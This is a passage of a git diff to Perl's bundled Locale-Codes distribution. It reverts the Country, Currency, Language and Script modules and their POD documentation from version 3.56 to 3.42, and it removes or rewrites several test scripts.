+This is the set of two-letter (lowercase) codes from ISO 3166-1, such
+as 'tv' for Tuvalu.
 
-=item B
+This is the default code set.
 
-See B in L
+=item B
 
-=item B
+This is the set of three-letter (lowercase) codes from ISO 3166-1,
+such as 'brb' for Barbados. These codes are actually defined and
+maintained by the U.N. Statistics division.
 
-See B in L
+=item B
 
-=item B
+This is the set of three-digit numeric codes from ISO 3166-1, such as
+064 for Bhutan. These codes are actually defined and maintained by the
+U.N. Statistics division.
 
-See B in L
+If a 2-digit code is entered, it is converted to 3 digits by prepending
+a 0.
 
-=item B
+=item B
+
+The IANA is responsible for delegating management of the top level country
+domains.  The country domains are the two-letter (lowercase) codes from ISO 3166
+with a few other additions.
+
+=item B
+
+=item B
 
-See B in L
+The UN maintains a list of codes that is similar, but not identical, to the
+standard ISO 3166 lists.  They maintain a 3-letter code (similar to alpha-3)
+and a numeric code (similar to numeric).
+
+=item B
+
+=item B
+
+=item B
+
+The GENC codes are the US Government codes that replace the FIPS-11 codes.
+They are based on, but not identical to the standard ISO 3166 lists.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+NOTE: As of version 3.27, the FIPS code set is no longer supported.  See the
+Locale::Codes::Changes document for details.
+
+=head1 ROUTINES
 
 =over 4
 
-=item B
+=item B
 
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
+=item B
 
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +134,54 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+ISO codes for country sub-divisions (states, counties, provinces,
+etc), as defined in ISO 3166-2.  This module is not part of the
+Locale-Codes distribution, but is available from CPAN in
+CPAN/modules/by-module/Locale/
+
+=item L
+
+Official home page for the ISO 3166 maintenance agency.
+
+=item L
+
+The source of ISO 3166-1 two-letter codes used by this
+module.
+
+=item L
+
+Official source of the top-level domain names.
+
+=item L
+
+The source of the UN codes.
+
+Previously, this table was treated as a source of the ISO 3166 data,
+but I found that the table was incomplete, so I stopped using it.
+Later, it was added back in as it's own list of codes.
+
+=item L
+
+The source of the GENC codes.
+
+=item L
+
+The World Factbook maintained by the CIA is a potential source of
+the data.  Unfortunately, it adds/preserves non-standard codes, so it is no
+longer used as a source of data.
+
+=item L
+
+Another unofficial source of data. Currently, it is not used to get
+data, but the notes and explanatory material were very useful for
+understanding discrepancies between the sources.
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +192,9 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
+   Copyright (c) 2001-2010 Neil Bowers
+   Copyright (c) 2010-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Currency.pm b/cpan/Locale-Codes/lib/Locale/Currency.pm
index cb0849d93ad6..7c01ebd96435 100644
--- a/cpan/Locale-Codes/lib/Locale/Currency.pm
+++ b/cpan/Locale-Codes/lib/Locale/Currency.pm
@@ -1,94 +1,48 @@
 package Locale::Currency;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2010-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
 use warnings;
-require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use Exporter;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
-use Locale::Codes;
-use Locale::Codes::Constants;
+our $VERSION;
+$VERSION='3.42';
 
-@EXPORT    = qw(
-                code2currency
-                currency2code
-                all_currency_codes
-                all_currency_names
-                currency_code2code
-               );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_CURRENCY);
+our (@ISA,@EXPORT);
 
-our $obj = new Locale::Codes('currency');
-$obj->show_errors(0);
+my $backend     = 'Locale::Codes::Currency';
+my $backend_exp = $backend . "::EXPORT";
 
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
+eval "require $backend; $backend->import(); return 1;";
 
-sub code2currency {
-   return $obj->code2name(@_);
+{
+   no strict 'refs';
+   @EXPORT = @{ $backend_exp };
 }
 
-sub currency2code {
-   return $obj->name2code(@_);
-}
+unshift (@ISA, $backend);
 
-sub currency_code2code {
-   return $obj->code2code(@_);
-}
-
-sub all_currency_codes {
-   return $obj->all_codes(@_);
-}
-
-sub all_currency_names {
-   return $obj->all_names(@_);
-}
-
-sub rename_currency {
-   return $obj->rename_code(@_);
-}
-
-sub add_currency {
-   return $obj->add_code(@_);
-}
-
-sub delete_currency {
-   return $obj->delete_code(@_);
-}
-
-sub add_currency_alias {
-   return $obj->add_alias(@_);
-}
-
-sub delete_currency_alias {
-   return $obj->delete_alias(@_);
-}
-
-sub rename_currency_code {
-   return $obj->replace_code(@_);
-}
-
-sub add_currency_code_alias {
-   return $obj->add_code_alias(@_);
-}
-
-sub delete_currency_code_alias {
-   return $obj->delete_code_alias(@_);
-}
+sub rename_currency            { Locale::Codes::Currency::rename_currency(@_) }
+sub add_currency               { Locale::Codes::Currency::add_currency(@_) }
+sub delete_currency            { Locale::Codes::Currency::delete_currency(@_) }
+sub add_currency_alias         { Locale::Codes::Currency::add_currency_alias(@_) }
+sub delete_currency_alias      { Locale::Codes::Currency::delete_currency_alias(@_) }
+sub rename_currency_code       { Locale::Codes::Currency::rename_currency_code(@_) }
+sub add_currency_code_alias    { Locale::Codes::Currency::add_currency_code_alias(@_) }
+sub delete_currency_code_alias { Locale::Codes::Currency::delete_currency_code_alias(@_) }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Currency.pod b/cpan/Locale-Codes/lib/Locale/Currency.pod
index ff6364b73c97..768ea2dbb1db 100644
--- a/cpan/Locale-Codes/lib/Locale/Currency.pod
+++ b/cpan/Locale-Codes/lib/Locale/Currency.pod
@@ -2,107 +2,90 @@
 
 =head1 NAME
 
-Locale::Currency - module for dealing with currency code sets
+Locale::Currency - standard codes for currency identification
 
 =head1 SYNOPSIS
 
-   use Locale::Currency;
+    use Locale::Currency;
 
-   $name = code2currency(CODE);
-   $code = currency2code(NAME);
+    $curr = code2currency('usd');     # $curr gets 'US Dollar'
+    $code = currency2code('Euro');    # $code gets 'eur'
 
-   @codes   = all_currency_codes();
-   @names   = all_currency_names();
+    @codes   = all_currency_codes();
+    @names   = all_currency_names();
 
 =head1 DESCRIPTION
 
-This module provides access to currency code sets.
-
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to standard codes used for identifying
+currencies and funds, such as those defined in ISO 4217.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
+specifies the code set to use. If not specified, the default ISO
+4217 three-letter codes will be used.
 
-=head1 ROUTINES
+=head1 SUPPORTED CODE SETS
 
-All routines in this module call the appropriate method in the
-L module, using an object of type: currency
-Please refer to the documentation of the L module
-for details about each function.
+There are several different code sets you can use for identifying
+currencies. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-The following functions are exported automatically:
+For example, the two are equivalent:
 
-=over 4
+   $curr = code2currency('usd','alpha');
+   $curr = code2currency('usd',LOCALE_CURR_ALPHA);
 
-=item B
+The codesets currently supported are:
 
-See B in L
+=over 4
 
-=item B
+=item B
 
-See B in L
+This is a set of three-letter (uppercase) codes from ISO 4217 such
+as EUR for Euro.
 
-=item B
+Two of the codes specified by the standard (XTS which is reserved
+for testing purposes and XXX which is for transactions where no
+currency is involved) are omitted.
 
-See B in L
+This is the default code set.
 
-=item B
+=item B
 
-See B in L
-
-=item B
-
-See B in L
+This is the set of three-digit numeric codes from ISO 4217.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+=head1 ROUTINES
 
 =over 4
 
-=item B
+=item B
+
+=item B
+
+=item B
 
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
+=item B
 
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
+=item B
 
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
+=item B
 
-=item B
-
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +97,14 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+The ISO 4217 data.
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +115,10 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
+   Copyright (c) 2001      Michael Hennecke
+   Copyright (c) 2001-2010 Neil Bowers
+   Copyright (c) 2010-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Language.pm b/cpan/Locale-Codes/lib/Locale/Language.pm
index be848c98938a..3bffeddd6fd9 100644
--- a/cpan/Locale-Codes/lib/Locale/Language.pm
+++ b/cpan/Locale-Codes/lib/Locale/Language.pm
@@ -1,94 +1,48 @@
 package Locale::Language;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2010-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
 use warnings;
-require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use Exporter;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
-use Locale::Codes;
-use Locale::Codes::Constants;
+our $VERSION;
+$VERSION='3.42';
 
-@EXPORT    = qw(
-                code2language
-                language2code
-                all_language_codes
-                all_language_names
-                language_code2code
-               );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_LANGUAGE);
+our (@ISA,@EXPORT);
 
-our $obj = new Locale::Codes('language');
-$obj->show_errors(0);
+my $backend     = 'Locale::Codes::Language';
+my $backend_exp = $backend . "::EXPORT";
 
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
+eval "require $backend; $backend->import(); return 1;";
 
-sub code2language {
-   return $obj->code2name(@_);
+{
+   no strict 'refs';
+   @EXPORT = @{ $backend_exp };
 }
 
-sub language2code {
-   return $obj->name2code(@_);
-}
+unshift (@ISA, $backend);
 
-sub language_code2code {
-   return $obj->code2code(@_);
-}
-
-sub all_language_codes {
-   return $obj->all_codes(@_);
-}
-
-sub all_language_names {
-   return $obj->all_names(@_);
-}
-
-sub rename_language {
-   return $obj->rename_code(@_);
-}
-
-sub add_language {
-   return $obj->add_code(@_);
-}
-
-sub delete_language {
-   return $obj->delete_code(@_);
-}
-
-sub add_language_alias {
-   return $obj->add_alias(@_);
-}
-
-sub delete_language_alias {
-   return $obj->delete_alias(@_);
-}
-
-sub rename_language_code {
-   return $obj->replace_code(@_);
-}
-
-sub add_language_code_alias {
-   return $obj->add_code_alias(@_);
-}
-
-sub delete_language_code_alias {
-   return $obj->delete_code_alias(@_);
-}
+sub rename_language            { Locale::Codes::Language::rename_language(@_) }
+sub add_language               { Locale::Codes::Language::add_language(@_) }
+sub delete_language            { Locale::Codes::Language::delete_language(@_) }
+sub add_language_alias         { Locale::Codes::Language::add_language_alias(@_) }
+sub delete_language_alias      { Locale::Codes::Language::delete_language_alias(@_) }
+sub rename_language_code       { Locale::Codes::Language::rename_language_code(@_) }
+sub add_language_code_alias    { Locale::Codes::Language::add_language_code_alias(@_) }
+sub delete_language_code_alias { Locale::Codes::Language::delete_language_code_alias(@_) }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Language.pod b/cpan/Locale-Codes/lib/Locale/Language.pod
index 2b7aaa03a67f..1dcde895e210 100644
--- a/cpan/Locale-Codes/lib/Locale/Language.pod
+++ b/cpan/Locale-Codes/lib/Locale/Language.pod
@@ -2,107 +2,94 @@
 
 =head1 NAME
 
-Locale::Language - module for dealing with language code sets
+Locale::Language - standard codes for language identification
 
 =head1 SYNOPSIS
 
    use Locale::Language;
 
-   $name = code2language(CODE);
-   $code = language2code(NAME);
+   $lang = code2language('en');        # $lang gets 'English'
+   $code = language2code('French');    # $code gets 'fr'
 
    @codes   = all_language_codes();
    @names   = all_language_names();
 
 =head1 DESCRIPTION
 
-This module provides access to language code sets.
-
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to standard codes used
+for identifying languages, such as those as defined in ISO 639.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
+specifies the code set to use. If not specified, the default ISO
+639 two-letter codes will be used.
 
-=head1 ROUTINES
+=head1 SUPPORTED CODE SETS
 
-All routines in this module call the appropriate method in the
-L module, using an object of type: language
-Please refer to the documentation of the L module
-for details about each function.
+There are several different code sets you can use for identifying
+languages. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-The following functions are exported automatically:
+For example, the two are equivalent:
 
-=over 4
+   $lang = code2language('en','alpha-2');
+   $lang = code2language('en',LOCALE_LANG_ALPHA_2);
 
-=item B
+The codesets currently supported are:
 
-See B in L
+=over 4
 
-=item B
+=item B
 
-See B in L
+This is the set of two-letter (lowercase) codes from ISO 639-1, such
+as 'he' for Hebrew.  It also includes additions to this set included
+in the IANA language registry.
 
-=item B
+This is the default code set.
 
-See B in L
+=item B
 
-=item B
+This is the set of three-letter (lowercase) bibliographic codes from
+ISO 639-2 and 639-5, such as 'heb' for Hebrew.  It also includes
+additions to this set included in the IANA language registry.
 
-See B in L
+=item B
 
-=item B
-
-See B in L
+This is the set of three-letter (lowercase) terminologic codes from
+ISO 639.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+=head1 ROUTINES
 
 =over 4
 
-=item B
+=item B
 
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
+=item B
 
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +101,22 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+Source of the ISO 639-2 codes.
+
+=item L
+
+Source of the ISO 639-5 codes.
+
+=item L
+
+The IANA language subtag registry.
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +127,9 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
+   Copyright (c) 2001-2010 Neil Bowers
+   Copyright (c) 2010-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Script.pm b/cpan/Locale-Codes/lib/Locale/Script.pm
index 0b3d8fddcb0c..87e2d2d12985 100644
--- a/cpan/Locale-Codes/lib/Locale/Script.pm
+++ b/cpan/Locale-Codes/lib/Locale/Script.pm
@@ -1,94 +1,48 @@
 package Locale::Script;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2010-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
 use warnings;
-require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use Exporter;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
-use Locale::Codes;
-use Locale::Codes::Constants;
+our $VERSION;
+$VERSION='3.42';
 
-@EXPORT    = qw(
-                code2script
-                script2code
-                all_script_codes
-                all_script_names
-                script_code2code
-               );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_SCRIPT);
+our (@ISA,@EXPORT);
 
-our $obj = new Locale::Codes('script');
-$obj->show_errors(0);
+my $backend     = 'Locale::Codes::Script';
+my $backend_exp = $backend . "::EXPORT";
 
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
+eval "require $backend; $backend->import(); return 1;";
 
-sub code2script {
-   return $obj->code2name(@_);
+{
+   no strict 'refs';
+   @EXPORT = @{ $backend_exp };
 }
 
-sub script2code {
-   return $obj->name2code(@_);
-}
+unshift (@ISA, $backend);
 
-sub script_code2code {
-   return $obj->code2code(@_);
-}
-
-sub all_script_codes {
-   return $obj->all_codes(@_);
-}
-
-sub all_script_names {
-   return $obj->all_names(@_);
-}
-
-sub rename_script {
-   return $obj->rename_code(@_);
-}
-
-sub add_script {
-   return $obj->add_code(@_);
-}
-
-sub delete_script {
-   return $obj->delete_code(@_);
-}
-
-sub add_script_alias {
-   return $obj->add_alias(@_);
-}
-
-sub delete_script_alias {
-   return $obj->delete_alias(@_);
-}
-
-sub rename_script_code {
-   return $obj->replace_code(@_);
-}
-
-sub add_script_code_alias {
-   return $obj->add_code_alias(@_);
-}
-
-sub delete_script_code_alias {
-   return $obj->delete_code_alias(@_);
-}
+sub rename_script            { Locale::Codes::Script::rename_script(@_) }
+sub add_script               { Locale::Codes::Script::add_script(@_) }
+sub delete_script            { Locale::Codes::Script::delete_script(@_) }
+sub add_script_alias         { Locale::Codes::Script::add_script_alias(@_) }
+sub delete_script_alias      { Locale::Codes::Script::delete_script_alias(@_) }
+sub rename_script_code       { Locale::Codes::Script::rename_script_code(@_) }
+sub add_script_code_alias    { Locale::Codes::Script::add_script_code_alias(@_) }
+sub delete_script_code_alias { Locale::Codes::Script::delete_script_code_alias(@_) }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Script.pod b/cpan/Locale-Codes/lib/Locale/Script.pod
index 06924843b5f6..d555f7aa7f38 100644
--- a/cpan/Locale-Codes/lib/Locale/Script.pod
+++ b/cpan/Locale-Codes/lib/Locale/Script.pod
@@ -2,107 +2,92 @@
 
 =head1 NAME
 
-Locale::Script - module for dealing with script code sets
+Locale::Script - standard codes for script identification
 
 =head1 SYNOPSIS
 
    use Locale::Script;
 
-   $name = code2script(CODE);
-   $code = script2code(NAME);
+   $script  = code2script('phnx');                     # 'Phoenician'
+   $code    = script2code('Phoenician');               # 'Phnx'
+   $code    = script2code('Phoenician',
+                          LOCALE_CODE_NUMERIC);        # 115
 
    @codes   = all_script_codes();
-   @names   = all_script_names();
+   @scripts = all_script_names();
 
 =head1 DESCRIPTION
 
-This module provides access to script code sets.
-
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to standards codes used
+for identifying scripts, such as those defined in ISO 15924.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
-
-=head1 ROUTINES
-
-All routines in this module call the appropriate method in the
-L module, using an object of type: script
-Please refer to the documentation of the L module
-for details about each function.
+specifies the code set to use. If not specified, the default ISO
+15924 four-letter codes will be used.
 
-The following functions are exported automatically:
+=head1 SUPPORTED CODE SETS
 
-=over 4
+There are several different code sets you can use for identifying
+scripts. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-=item B
+For example, the two are equivalent:
 
-See B in L
+   $script = code2script('phnx','alpha');
+   $script = code2script('phnx',LOCALE_SCRIPT_ALPHA);
 
-=item B
+The codesets currently supported are:
 
-See B in L
+=over 4
 
-=item B
+=item B
 
-See B in L
+This is a set of four-letter (capitalized) codes from ISO 15924
+such as 'Phnx' for Phoenician.  It also includes additions to this
+set included in the IANA language registry.
 
-=item B
+The Zxxx, Zyyy, and Zzzz codes are not used.
 
-See B in L
+This is the default code set.
 
-=item B
+=item B
 
-See B in L
+This is a set of three-digit numeric codes from ISO 15924 such as 115
+for Phoenician.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+=head1 ROUTINES
 
 =over 4
 
-=item B
+=item B
 
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
+=item B
 
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +99,18 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+Home page for ISO 15924.
+
+=item L
+
+The IANA language subtag registry.
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +121,9 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
+   Copyright (c) 2001-2010 Neil Bowers
+   Copyright (c) 2010-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/t/country_func.t b/cpan/Locale-Codes/t/country_func.t
deleted file mode 100644
index fbfbc1314ae4..000000000000
--- a/cpan/Locale-Codes/t/country_func.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('country','','func');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/country_old.t b/cpan/Locale-Codes/t/country_old.t
index 1c9addd3ea27..f3c042e534ed 100644
--- a/cpan/Locale-Codes/t/country_old.t
+++ b/cpan/Locale-Codes/t/country_old.t
@@ -4,15 +4,35 @@ use warnings;
 use strict;
 require 5.002;
 
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
+my($runtests,$dir,$tdir);
+$::type          = '';
+$::module        = '';
+$::tests         = '';
+
+$::type   = 'country';
+$::module = 'Locale::Country';
+
+$runtests=shift(@ARGV);
+if ( -f "t/testfunc.pl" ) {
+  require "t/testfunc.pl";
+  require "t/vals.pl";
+  require "t/vals_country.pl";
+  $dir="./lib";
+  $tdir="t";
+} elsif ( -f "testfunc.pl" ) {
+  require "testfunc.pl";
+  require "vals.pl";
+  require "vals_country.pl";
+  $dir="../lib";
+  $tdir=".";
 } else {
-  die "ERROR: cannot find do_tests.pl\n";
+  die "ERROR: cannot find testfunc.pl\n";
 }
 
-do_tests('country','','old');
+unshift(@INC,$dir);
+
+print "country (old)...\n";
+test_Func(\&test,$::tests,$runtests);
 
 1;
 # Local Variables:
diff --git a/cpan/Locale-Codes/t/country_oo.t b/cpan/Locale-Codes/t/country_oo.t
deleted file mode 100644
index 875c108fe2bd..000000000000
--- a/cpan/Locale-Codes/t/country_oo.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('country','','oo');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/currency_func.t b/cpan/Locale-Codes/t/currency_func.t
deleted file mode 100644
index 87b6e463b782..000000000000
--- a/cpan/Locale-Codes/t/currency_func.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('currency','','func');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/currency_old.t b/cpan/Locale-Codes/t/currency_old.t
index 1d23b19fc5a3..b63036cbadbe 100644
--- a/cpan/Locale-Codes/t/currency_old.t
+++ b/cpan/Locale-Codes/t/currency_old.t
@@ -4,15 +4,35 @@ use warnings;
 use strict;
 require 5.002;
 
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
+my($runtests,$dir,$tdir);
+$::type          = '';
+$::module        = '';
+$::tests         = '';
+
+$::type   = 'currency';
+$::module = 'Locale::Currency';
+
+$runtests=shift(@ARGV);
+if ( -f "t/testfunc.pl" ) {
+  require "t/testfunc.pl";
+  require "t/vals.pl";
+  require "t/vals_currency.pl";
+  $dir="./lib";
+  $tdir="t";
+} elsif ( -f "testfunc.pl" ) {
+  require "testfunc.pl";
+  require "vals.pl";
+  require "vals_currency.pl";
+  $dir="../lib";
+  $tdir=".";
 } else {
-  die "ERROR: cannot find do_tests.pl\n";
+  die "ERROR: cannot find testfunc.pl\n";
 }
 
-do_tests('currency','','old');
+unshift(@INC,$dir);
+
+print "currency (old)...\n";
+test_Func(\&test,$::tests,$runtests);
 
 1;
 # Local Variables:
diff --git a/cpan/Locale-Codes/t/currency_oo.t b/cpan/Locale-Codes/t/currency_oo.t
deleted file mode 100644
index a0ac1eec3cd9..000000000000
--- a/cpan/Locale-Codes/t/currency_oo.t
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-if ( -f "t/do_tests.pl" ) {
-   require "./t/do_tests.pl";
-} elsif (-f "do_tests.pl") {
-   require "./do_tests.pl";
-} else {
-  die "ERROR: cannot find do_tests.pl\n";
-}
-
-do_tests('currency','','oo');
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:
diff --git a/cpan/Locale-Codes/t/do_tests.pl b/cpan/Locale-Codes/t/do_tests.pl
deleted file mode 100644
index 8f398cf6a377..000000000000
--- a/cpan/Locale-Codes/t/do_tests.pl
+++ /dev/null
@@ -1,370 +0,0 @@
-#!/usr/bin/perl
-# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
-# This program is free software; you can redistribute it and/or modify it
-# under the same terms as Perl itself.
-
-use warnings;
-use strict;
-no strict 'subs';
-no strict 'refs';
-
-my %type = ('country'  => 'Country',
